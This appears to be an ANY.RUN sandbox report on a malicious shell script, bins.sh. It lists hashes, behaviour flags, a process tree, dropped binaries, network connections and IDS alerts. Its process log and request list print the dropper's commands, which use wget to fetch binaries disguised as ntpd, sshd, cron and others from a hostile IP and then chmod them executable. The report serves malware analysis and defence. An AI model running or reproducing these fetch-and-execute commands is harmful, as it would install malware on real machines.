File name:

bins.sh

Full analysis: https://app.any.run/tasks/4a241bb5-0af4-4e73-b6c3-816f9e5e4a47
Verdict: Malicious activity
Analysis date: May 16, 2025, 17:49:47
OS: Ubuntu 22.04.2
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

F2BF2234E8E5101BB668AA7B53F356AB

SHA1:

E383552174FCF5057A71FDDA5E8DE996D01F19D3

SHA256:

05214760C9DCE0552A3EA3E11F131FBD2B6C0DE7F2E8810AB15FA2AA41CEA436

SSDEEP:

24:vCHyEChrCyMvPWHsCdrCBHCWUC9CZ/CCWJCRCXmu3CHRTC7m:vnE+rE+Mir0zUccnUQgAP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • wget (PID: 39896)
      • wget (PID: 39897)
      • wget (PID: 39895)
      • bash (PID: 39885)
      • tftp (PID: 39890)
      • bash (PID: 39886)
      • bash (PID: 39884)
      • ftp (PID: 39908)
      • ftp (PID: 39907)
      • ftp (PID: 39906)

  • SUSPICIOUS

    • Executes commands using command-line interpreter

      • sudo (PID: 39864)
      • bash (PID: 39865)

    • Modifies file or directory owner

      • sudo (PID: 39861)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 39865)

    • Uses wget to download content

      • bash (PID: 39865)

    • Gets active network interfaces

      • bash (PID: 39865)

    • Reads network configuration

      • bash (PID: 39865)

    • Modifies Cron jobs

      • bash (PID: 39865)

    • Potential Corporate Privacy Violation

      • wget (PID: 39888)
      • wget (PID: 39867)
      • wget (PID: 39872)
      • wget (PID: 39882)
      • wget (PID: 39877)
      • wget (PID: 39893)
      • wget (PID: 39899)
      • wget (PID: 39904)
      • wget (PID: 39910)
      • wget (PID: 39920)
      • wget (PID: 39925)
      • wget (PID: 39915)

    • Connects to the server without a host name

      • wget (PID: 39882)
      • wget (PID: 39899)
      • wget (PID: 39888)
      • wget (PID: 39904)
      • wget (PID: 39893)
      • wget (PID: 39920)
      • wget (PID: 39915)
      • wget (PID: 39925)
      • wget (PID: 39930)

    • Connects to unusual port

      • ftp (PID: 39908)
      • bash (PID: 39886)
      • wget (PID: 39897)

  • INFO

    • Creates file in the temporary folder

      • wget (PID: 39867)
      • wget (PID: 39872)
      • wget (PID: 39877)
      • wget (PID: 39882)
      • wget (PID: 39888)
      • tftp (PID: 39890)
      • wget (PID: 39899)
      • wget (PID: 39904)
      • wget (PID: 39915)
      • wget (PID: 39893)
      • wget (PID: 39910)
      • wget (PID: 39925)
      • wget (PID: 39920)

    • Checks timezone

      • wget (PID: 39872)
      • wget (PID: 39877)
      • wget (PID: 39867)
      • wget (PID: 39882)
      • wget (PID: 39888)
      • wget (PID: 39893)
      • wget (PID: 39899)
      • wget (PID: 39915)
      • wget (PID: 39920)
      • wget (PID: 39904)
      • wget (PID: 39910)
      • wget (PID: 39925)
      • wget (PID: 39930)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
195
Monitored processes
65
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget bash no specs bash chmod no specs tftp no specs rm no specs wget chmod no specs wget no specs rm no specs wget no specs wget wget chmod no specs bash no specs rm no specs wget chmod no specs ftp no specs rm no specs ftp no specs ftp wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
39860/bin/sh -c "sudo chown user /tmp/bins\.sh && chmod +x /tmp/bins\.sh && DISPLAY=:0 sudo -iu user /tmp/bins\.sh "/usr/bin/dash—oF5qt7VjSoEVMhQn
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39861sudo chown user /tmp/bins.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39862chown user /tmp/bins.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39863chmod +x /tmp/bins.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39864sudo -iu user /tmp/bins.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
39865/bin/bash /tmp/bins.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
39866/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39867wget http://92.112.125.62/ntpd/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
39868chmod +x ntpd/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
39869/bin/bash /tmp/bins.sh/usr/bin/bash—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
32256
Executable files
0
Suspicious files
13
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
39867wget/tmp/ntpd (deleted)binary
MD5:—
SHA256:—
39872wget/tmp/sshd (deleted)binary
MD5:—
SHA256:—
39877wget/tmp/openssh (deleted)binary
MD5:—
SHA256:—
39882wget/tmp/bash (deleted)binary
MD5:—
SHA256:—
39888wget/tmp/tftpbinary
MD5:—
SHA256:—
39890tftp/tmp/fileYQoMHBbinary
MD5:—
SHA256:—
39893wget/tmp/wget (deleted)binary
MD5:—
SHA256:—
39899wget/tmp/cron (deleted)binary
MD5:—
SHA256:—
39904wget/tmp/ftp (deleted)binary
MD5:—
SHA256:—
39910wget/tmp/pftp (deleted)binary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
35
DNS requests
11
Threats
12

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
39867
wget
GET
200
92.112.125.62:80
http://92.112.125.62/ntpd
unknown
—
—
unknown
39872
wget
GET
200
92.112.125.62:80
http://92.112.125.62/sshd
unknown
—
—
unknown
39877
wget
GET
200
92.112.125.62:80
http://92.112.125.62/openssh
unknown
—
—
unknown
39882
wget
GET
200
92.112.125.62:80
http://92.112.125.62/bash
unknown
—
—
unknown
39888
wget
GET
200
92.112.125.62:80
http://92.112.125.62/tftp
unknown
—
—
unknown
39893
wget
GET
200
92.112.125.62:80
http://92.112.125.62/wget
unknown
—
—
unknown
39899
wget
GET
200
92.112.125.62:80
http://92.112.125.62/cron
unknown
—
—
unknown
39904
wget
GET
200
92.112.125.62:80
http://92.112.125.62/ftp
unknown
—
—
unknown
39910
wget
GET
200
92.112.125.62:80
http://92.112.125.62/pftp
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
185.125.190.48:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.96:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
—
—
212.102.56.179:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
512
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
39867
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown
39872
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown
39877
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown
39882
wget
92.112.125.62:80
—
PJSC Ukrtelecom
UA
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 172.217.16.142
  • 2a00:1450:4001:808::200e
whitelisted
odrs.gnome.org
  • 212.102.56.179
  • 195.181.170.18
  • 169.150.255.181
  • 169.150.255.184
  • 37.19.194.80
  • 207.211.211.26
  • 195.181.175.40
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::21
whitelisted
connectivity-check.ubuntu.com
  • 185.125.190.96
  • 91.189.91.49
  • 185.125.190.97
  • 91.189.91.48
  • 185.125.190.18
  • 185.125.190.98
  • 91.189.91.98
  • 185.125.190.17
  • 185.125.190.49
  • 185.125.190.48
  • 91.189.91.96
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::198
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::23
  • 2001:67c:1562::23
  • 2620:2d:4000:1::97
  • 2001:67c:1562::24
whitelisted
api.snapcraft.io
  • 185.125.188.59
  • 185.125.188.58
  • 185.125.188.57
  • 185.125.188.54
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::2e6
whitelisted
11.100.168.192.in-addr.arpa
  • —
unknown

Threats

PID
Process
Class
Message
39867
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39872
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39877
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39882
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39888
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39893
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39899
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39904
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39910
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
39915
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download Over HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
bins.sh